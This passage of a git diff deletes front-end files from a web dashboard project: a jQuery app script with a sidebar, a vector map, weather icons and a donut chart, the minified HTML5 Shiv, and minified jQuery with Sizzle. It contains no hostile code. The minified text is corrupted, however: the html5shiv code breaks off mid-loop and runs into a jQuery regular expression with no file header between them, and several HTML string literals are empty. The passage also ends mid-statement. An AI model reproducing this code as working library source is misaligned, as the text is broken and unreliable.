- $('.main-content-wrapper').addClass('main-content-toggle-left'); - } - - $('.sidebarRight').toggleClass('sidebar-toggle-right animated bounceInRight'); - $('.main-content-wrapper').toggleClass('main-content-toggle-right'); - - if ( $(window).width() < 660 ) { - $('.sidebar').removeClass('sidebar-toggle'); - $('.main-content-wrapper').removeClass('main-content-toggle-left main-content-toggle-right'); - }; - - e.stopPropagation(); - }); - }; - - var closePanel = function() { - $('.actions > .fa-times').click(function() { - $(this).parent().parent().parent().fadeOut(); - }); - - } - - var menu = function() { - $("#leftside-navigation .sub-menu > a").click(function(e) { - $("#leftside-navigation ul ul").slideUp(); - if (!$(this).next().is(":visible")) { - $(this).next().slideDown(); - } - e.stopPropagation(); - }); - }; - //End functions - - //Dashboard functions - var timer = function() { - $('.timer').countTo(); - }; - - - //Vector Maps - var map = function() { - $('#map').vectorMap({ - map: 'world_mill_en', - backgroundColor: 'transparent', - regionStyle: { - initial: { - fill: '#1ABC9C', - }, - hover: { - "fill-opacity": 0.8 - } - }, - markerStyle: { - initial: { - r: 10 - }, - hover: { - r: 12, - stroke: 'rgba(255,255,255,0.8)', - "stroke-width": 3 - } - }, - markers: [{ - latLng: [27.9881, 86.9253], - name: '36 Employees', - style: { - fill: '#E84C3D', - stroke: 'rgba(255,255,255,0.7)', - "stroke-width": 3 - } - }, { - latLng: [48.8582, 2.2945], - name: '58 Employees', - style: { - fill: '#E84C3D', - stroke: 'rgba(255,255,255,0.7)', - "stroke-width": 3 - } - }, { - latLng: [-40.6892, -74.0444], - name: '109 Employees', - style: { - fill: '#E84C3D', - stroke: 'rgba(255,255,255,0.7)', - "stroke-width": 3 - } - }, { - latLng: [34.05, -118.25], - name: '85 Employees ', - style: { - fill: '#E84C3D', - stroke: 'rgba(255,255,255,0.7)', - "stroke-width": 3 - } - }] - }); - - }; - - var weather = function() { - var icons = new Skycons({ - "color": "white" - }); - - icons.set("clear-day", Skycons.CLEAR_DAY); - icons.set("clear-night", Skycons.CLEAR_NIGHT); - icons.set("partly-cloudy-day", Skycons.PARTLY_CLOUDY_DAY); - icons.set("partly-cloudy-night", Skycons.PARTLY_CLOUDY_NIGHT); - icons.set("cloudy", Skycons.CLOUDY); - icons.set("rain", Skycons.RAIN); - icons.set("sleet", Skycons.SLEET); - icons.set("snow", Skycons.SNOW); - icons.set("wind", Skycons.WIND); - icons.set("fog", Skycons.FOG); - - icons.play(); - } - - //morris pie chart - var morrisPie = function() { - - Morris.Donut({ - element: 'donut-example', - data: [{ - label: "Chrome", - value: 73 - }, { - label: "Firefox", - value: 71 - }, { - label: "Safari", - value: 69 - }, { - label: "Internet Explorer", - value: 40 - }, { - label: "Opera", - value: 20 - }, { - label: "Android Browser", - value: 10 - } - - ], - colors: [ - '#1abc9c', - '#293949', - '#e84c3d', - '#3598db', - '#2dcc70', - '#f1c40f' - ] - }); - } - - //Sliders - var sliders = function() { - $('.slider-span').slider() - }; - - - //return functions - return { - init: init, - timer: timer, - map: map, - sliders: sliders, - weather: weather, - morrisPie: morrisPie - - }; -}(); - -//Load global functions -$(document).ready(function() { - app.init(); - -}); diff --git a/newDesign/assets/js/html5shiv.js b/newDesign/assets/js/html5shiv.js deleted file mode 100644 index e2e00155b..000000000 --- a/newDesign/assets/js/html5shiv.js +++ /dev/null @@ -1,8 +0,0 @@ -/* - HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed -*/ -(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag(); -a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x"; -c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode|| -"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f); -if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d)[^>]*|#([\w-]*))$/,k=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[)+/g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n))for(i in n)x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2])return r.find(e);this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l++)if(null!=(o=arguments[l]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r));return s},x.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body)return setTimeout(x.ready);x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(r){return!1}if(x.support.ownLast)for(n in e)return v.call(e,n);for(n in e);return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return "+n)():(x.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r)x.access(e,n,l,r[l],!0,a,s)}else if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n))for(;u>l;l++)n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)));return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),x.ready.promise=function(t){if(!n)if(n=x.Deferred(),"complete"===a.readyState)setTimeout(x.ready);else if(a.addEventListener)a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1);else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle"+-new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",W=R.replace("w","w#"),$="\\["+P+"*("+R+")"+P+"*(?:([*^$|!~]?=)"+P+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+W+")|)|)"+P+"*\\]",I=":("+R+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+$.replace(3,8)+")*)|.*)\\)|)",z=RegExp("^"+P+"+|((?:^|[^\\\\])(?:\\\\.)*)"+P+"+$","g"),X=RegExp("^"+P+"*,"+P+"*"),U=RegExp("^"+P+"*([>+~]|"+P+")"+P+"*"),V=RegExp(P+"*[+~]"),Y=RegExp("="+P+"*([^\\]'\"]*)"+P+"*\\]","g"),J=RegExp(I),G=RegExp("^"+W+"$"),Q={ID:RegExp("^#("+R+")"),CLASS:RegExp("^\\.("+R+")"),TAG:RegExp("^("+R.replace("w","w*")+")"),ATTR:RegExp("^"+$),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+P+"*(even|odd|(([+-]|)(\\d*)n|)"+P+"*(?:([+-]|)"+P+"*(\\d+)|))"+P+"*\\)|)","i"),bool:RegExp("^(?:"+B+")$","i"),needsContext:RegExp("^"+P+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+P+"*((?:-\\d)?\\d*)"+P+"*\\)|)(?=[^-]|$)","i")},K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}"+P+"?|("+P+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e)return n;if(1!==(l=t.nodeType)&&9!==l)return[];if(h&&!i){if(o=Z.exec(e))if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode)return n;if(a.id===s)return n.push(a),n}else if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s)return n.push(a),n}else{if(o[2])return M.apply(n,t.getElementsByTagName(e)),n;if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName)return M.apply(n,t.getElementsByClassName(s)),n}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",u=c.length;while(u--)c[u]=m+yt(c[u]);y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x)try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n+=" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--)o.attrHandle[n[r]]=t}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t=+t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="
",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="",e.querySelectorAll("[selected]").length||g.push("\\["+P+"*(?:value|"+B+")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]="+P+"*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=d.compareDocumentPosition?function(e,t){if(e===t)return S=!0,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return S=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0;if(o===a)return pt(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t)))try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(i){}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o++])t===e[o]&&(i=n.push(o));while(i--)e.splice(n[i],1)}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=a(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=a(t);return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e+" "];return t||(t=RegExp("(^|"+P+")"+e+"("+P+"|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[T,d,f];break}}else if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T)f=u[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: "+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},o.pseudos.nth=o.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})o.pseudos[n]=ft(n);for(n in{submit:!0,reset:!0})o.pseudos[n]=dt(n);function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in 